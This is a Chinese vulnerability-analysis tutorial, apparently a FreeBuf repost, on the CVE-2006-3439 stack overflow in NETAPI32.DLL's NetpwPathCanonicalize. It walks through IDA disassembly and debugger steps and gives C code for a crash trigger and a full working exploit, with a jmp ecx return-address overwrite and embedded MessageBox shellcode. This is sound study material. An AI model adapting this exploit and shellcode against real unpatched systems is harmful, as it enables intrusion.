极安御信安全研究院
- 关注
本次漏洞分析实例是编号CVE-2006-3439,他是系统库NETAPI32.DLL中NetpwPathCanonicalize函数中出现的一个栈溢出漏洞,此函数主要对俩个字符串进行拼接,漏洞主要成因是函数内部对参数进行边界检查是使用了wcslen,而开辟栈的时候是按照ASCLL开辟,也就是我们可以传入双倍字节的参数,造成溢出,下面对此dll中漏洞函数进行分析:第一步,把dll拖入x86IDA中,等加载完成,在函数窗口搜索函数NetpwPathCanonicalize:
第二步,找到具体触发漏洞函数(逐步跟进,看哪里触发异常):
第三步,进入这个call:
第四步,分析函数,我们假定传入俩个字符串参数分别为(path,prefix):
; int __stdcall sub_7517FC68(wchar_t *Str, wchar_t *Source, wchar_t *, int, int)
.text:7517FC68 sub_7517FC68 proc near ; CODE XREF: NetpwPathCanonicalize+74↑p
.text:7517FC68
.text:7517FC68 var_416 = word ptr -416h
.text:7517FC68 Dest = word ptr -414h
.text:7517FC68 Str = dword ptr 8
.text:7517FC68 Source = dword ptr 0Ch
.text:7517FC68 arg_8 = dword ptr 10h
.text:7517FC68 arg_C = dword ptr 14h
.text:7517FC68 arg_10 = dword ptr 18h
.text:7517FC68
.text:7517FC68 push ebp
.text:7517FC69 mov ebp, esp
.text:7517FC6B sub esp, 414h ; 开辟栈,0x414
.text:7517FC71 push ebx
.text:7517FC72 push esi
.text:7517FC73 xor esi, esi
.text:7517FC75 push edi
.text:7517FC76 cmp [ebp+Str], esi
.text:7517FC79 mov edi, ds:__imp_wcslen
.text:7517FC7F mov ebx, 411h ; 边界检查
.text:7517FC84 jz short loc_7517FCED
.text:7517FC86 push [ebp+Str] ; prefix字符串
.text:7517FC89 call edi ; __imp_wcslen
.text:7517FC8B mov esi, eax ; prefix字符串的长度(unicode)
.text:7517FC8D pop ecx
.text:7517FC8E test esi, esi
.text:7517FC90 jz short loc_7517FCF4
.text:7517FC92 cmp esi, ebx
.text:7517FC94 ja loc_7517FD3E
.text:7517FC9A push [ebp+Str] ; Source
.text:7517FC9D lea eax, [ebp+Dest]
.text:7517FCA3 push eax ; Dest
.text:7517FCA4 call ds:__imp_wcscpy
.text:7517FCAA mov ax, [ebp+esi*2+var_416]
.text:7517FCB2 pop ecx
.text:7517FCB3 cmp ax, 5Ch
.text:7517FCB7 pop ecx
.text:7517FCB8 jz short loc_7517FCD5
.text:7517FCBA cmp ax, 2Fh
.text:7517FCBE jz short loc_7517FCD5
.text:7517FCC0 lea eax, [ebp+Dest]
.text:7517FCC6 push offset asc_751717B8 ; "\\"
.text:7517FCCB push eax ; Dest
.text:7517FCCC call ds:__imp_wcscat
.text:7517FCD2 pop ecx
.text:7517FCD3 inc esi
.text:7517FCD4 pop ecx
.text:7517FCD5
.text:7517FCD5 loc_7517FCD5: ; CODE XREF: sub_7517FC68+50↑j
.text:7517FCD5 ; sub_7517FC68+56↑j
.text:7517FCD5 mov eax, [ebp+Source]
.text:7517FCD8 mov ax, [eax]
.text:7517FCDB cmp ax, 5Ch
.text:7517FCDF jz short loc_7517FCE7
.text:7517FCE1 cmp ax, 2Fh
.text:7517FCE5 jnz short loc_7517FCF4
.text:7517FCE7
.text:7517FCE7 loc_7517FCE7: ; CODE XREF: sub_7517FC68+77↑j
.text:7517FCE7 add [ebp+Source], 2
.text:7517FCEB jmp short loc_7517FCF4
.text:7517FCED ; ---------------------------------------------------------------------------
.text:7517FCED
.text:7517FCED loc_7517FCED: ; CODE XREF: sub_7517FC68+1C↑j
.text:7517FCED mov [ebp+Dest], si
.text:7517FCF4
.text:7517FCF4 loc_7517FCF4: ; CODE XREF: sub_7517FC68+28↑j
.text:7517FCF4 ; sub_7517FC68+7D↑j ...
.text:7517FCF4 push [ebp+Source] ; path字符串
.text:7517FCF7 call edi ; __imp_wcslen
.text:7517FCF9 add eax, esi ; path+\+prefix的长度
.text:7517FCFB pop ecx
.text:7517FCFC cmp eax, ebx ; 第二次边界检查,ebx=0x411,俩次拼接但是这里指的是UNICODE的长度,也就是说我们在这里可以传入0x822字节东西
.text:7517FCFE ja short loc_7517FD3E
.text:7517FD00 push [ebp+Source] ; Source
.text:7517FD03 lea eax, [ebp+Dest]
.text:7517FD09 push eax ; Dest
.text:7517FD0A call ds:__imp_wcscat
.text:7517FD10 pop ecx
.text:7517FD11 lea eax, [ebp+Dest]
.text:7517FD17 pop ecx
.text:7517FD18 push eax
.text:7517FD19 call sub_7518AE95
.text:7517FD1E lea eax, [ebp+Dest]
.text:7517FD24 push eax ; Name
.text:7517FD25 call sub_7518AEB3
.text:7517FD2A test eax, eax
.text:7517FD2C jnz short loc_7517FD43
.text:7517FD2E lea eax, [ebp+Dest]
第五步,我们得到结论可以传入0x822字节,但是栈中buffer只要0x411字节,意味着无论是path参数还是prefix参数,我们都可以传入双倍内容,随后发现在漏洞函数之前,有一个函数已经对prefix参数进行了长度检查,所以我们只能利用path参数:
二、环境配置
环境 | 配置 |
系统 | WinXP |
编译器 | VC6++ |
调试器 | x86IDA,x86DBG |
项目配置 | win32+realse |
文件 | netapi32.dll |
dll文件
三、漏洞分析
测试代码如下:我直接加载没打补丁的dll,我们主要是通过loadlibrary函数加载我们的dll,然后通过GetProcAddress函数获得NetpwPathCanonicalize函数地址,通过函数指针调用,传入俩个参数,一个全部覆盖为61,一个全部覆盖为62,结尾都是以00结尾,观察是哪里造成溢出:
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
//load vulnerability netapi32.dll which we got from a WIN2K sp4 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,'a',sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
}
生成realse,拖入x86dbg,F9进入程序领空:
找到主函数入口:
进入主函数,找到我们函数指针调用的NetpwPathCanonicalize函数处:
运行到call edx处,查看edx的值,跳转到NetpwPathCanonicalize头部下断点:
运行到漏洞函数,再找到具体拷贝字符串函数,下断点:
进入目标函数:
F4运行到第二个wcscat函数后:
观察堆栈:
esp处:
发现我们栈中buffer首地址是12F294;
ebp处:
我们发现path字符串倒数第4-第8字节淹没返回值;运行到函数尾部:
我们发现ecx的值正好指向我们buffer首地址,所以我们只需要在淹没返回值那里找到一个jmp ecx或者call ecx的指令,在netapi32.dll中我找到一条指令751852F9:
把此地址构造在淹没返回值的地方,程序流程就可以跳转到我们buffer中去,接下来构造shellcode,下面是新代码,我们吧path参数倒数4-8位置写成我们的跳转指令,即751852F9,再给prefix拷贝我们弹窗shellcode,作用是弹一个MessageBox的框,供我们观察:
#include
typedef void (*MYPROC)(LPTSTR);
char shellcode2[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90";
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
//load vulnerability netapi32.dll which we got from a WIN2K sp4 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,0x90,sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,0x90,sizeof(prefix)-2);
memcpy(prefix,shellcode2,176);
//0x751852F9
path[0x318] = 0xF9;
path[0x319] = 0x52;
path[0x31A] = 0x18;
path[0x31B] = 0x75;
//__asm int 3
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
}
观察运行结果,弹窗成功:
接下来我们继续吧程序拖入x86dbg中,按照前面流程到触发漏洞函数处:
F7进入,并运行到函数尾部:
观察堆栈情况:栈内buffer:
返回值处:
一切如我们所料,继续运行,到了我们的shellcode处:
F9运行,弹框
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
